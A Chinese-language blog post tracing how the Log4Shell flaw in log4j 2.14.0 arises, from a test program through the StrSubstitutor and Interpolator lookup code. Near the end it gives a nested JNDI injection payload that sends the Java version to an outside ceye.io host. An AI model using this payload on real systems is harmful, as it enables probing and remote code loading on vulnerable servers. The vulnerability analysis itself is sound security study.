log4jshell-2.14.0漏洞分析
这篇文章分析一下log4jshell的漏洞代码层面产生的原因。
环境准备
- java version “1.8.0_152”
- idea 2023.1.3
- log4j-core 2.14.0
手工创建环境过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Test { private static final Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { String a="${java:version}"; logger.error(a); } }
|
运行这个Test将会得到
1
| 2023-03-17 15:12:04.362 [main] ERROR org.example.Test - Java version 1.8.0_152
|
漏洞分析
漏洞产生的位置在org.apache.logging.log4j.core.lookup.Interpolator.lookup()方法。此方法存在一个strLookupMap,map内部的Key和value是我们利用的关键。里面有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| public Interpolator(final Map<String, String> properties){ this.strLookupMap = new HashMap(); this.defaultLookup = new MapLookup((Map)(properties == null ? new HashMap() : properties)); this.strLookupMap.put("log4j", new Log4jLookup()); this.strLookupMap.put("sys", new SystemPropertiesLookup()); this.strLookupMap.put("env", new EnvironmentLookup()); this.strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON); this.strLookupMap.put("marker", new MarkerLookup()); this.strLookupMap.put("java", new JavaLookup()); this.strLookupMap.put("lower", new LowerLookup()); this.strLookupMap.put("upper", new UpperLookup());
try { this.strLookupMap.put("jndi", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class)); } catch (Exception | LinkageError var9) { this.handleError("jndi", var9); }
try { this.strLookupMap.put("jvmrunargs", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup", StrLookup.class)); } catch (Exception | LinkageError var8) { this.handleError("jvmrunargs", var8); }
this.strLookupMap.put("date", new DateLookup()); this.strLookupMap.put("ctx", new ContextMapLookup()); if (Constants.IS_WEB_APP) { try { this.strLookupMap.put("web", Loader.newCheckedInstanceOf("org.apache.logging.log4j.web.WebLookup", StrLookup.class)); } catch (Exception var7) { this.handleError("web", var7); } } else { LOGGER.debug("Not in a ServletContext environment, thus not loading WebLookup plugin."); }
try { this.strLookupMap.put("docker", Loader.newCheckedInstanceOf("org.apache.logging.log4j.docker.DockerLookup", StrLookup.class)); } catch (Exception var6) { this.handleError("docker", var6); }
try { this.strLookupMap.put("spring", Loader.newCheckedInstanceOf("org.apache.logging.log4j.spring.cloud.config.client.SpringLookup", StrLookup.class)); } catch (Exception var5) { this.handleError("spring", var5); }
try { this.strLookupMap.put("kubernetes", Loader.newCheckedInstanceOf("org.apache.logging.log4j.kubernetes.KubernetesLookup", StrLookup.class)); } catch (Exception var3) { this.handleError("kubernetes", var3); } catch (NoClassDefFoundError var4) { this.handleError("kubernetes", var4); }
}
|
我们在lookup方法的漏洞触发的位置位置下断点,我们跟进分析一下。
运行Test,断点位置的堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| lookup:223, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config) log:485, LoggerConfig (org.apache.logging.log4j.core.config) log:460, LoggerConfig (org.apache.logging.log4j.core.config) log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:14, Test (org.example)
|
我们一步一步的分析,首先调用logger.error(a);,error又会调用logIfEnabled
logIfEnabled又调用isEnabled判断日志是否支持记录
isEnabled又调用filter,这里的filter其实就是我们之前写的log4j2.xml的配置文件。
判断可以记录之后调用logMessage
中间的过程就不分析了,一直到format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
首先我看先看一下这个format方法里面的offset
他其实就是获取我们log4j2.xml里面的日志输出前缀,然后把msg里面的messageFormat加到workingBuilder里面,下面的for循环是判断字符串里面是否存在${,如果存在那么去substring获取这个范围的字符串,其实就是获取用户输入的字符串。
这里获取到用户输入的value,然后调用replace
replace又去调用substitute
接着substitute又去调用substitute
调用substitute之后获取到了varName,调用resolveVariable,
resolveVariable再进行调用lookup
lookup里面将prefix、name取出,然后调用lookup这个map,这个map为之前介绍的strLookupMap。
因为我们写的调用为${java:version},所以他会走到JavaLookup这个里面的lookup里面。
之后运行结束得到结果:
tips
支持递归
substitute里面通过while循环去递归匹配查询${,所以我们可以写入如下payload:
1
| String a="${jndi:ldap://${java:version}.xxxxx.ceye.io}";
|
高版本jndi
jndi的ldap默认支持8版本191版本之前的,要想突破高版本的现在,目前我了解了两种方法可以绕过高版本限制:
因为这两个点内容也很多,后面文章再补充这方面的知识。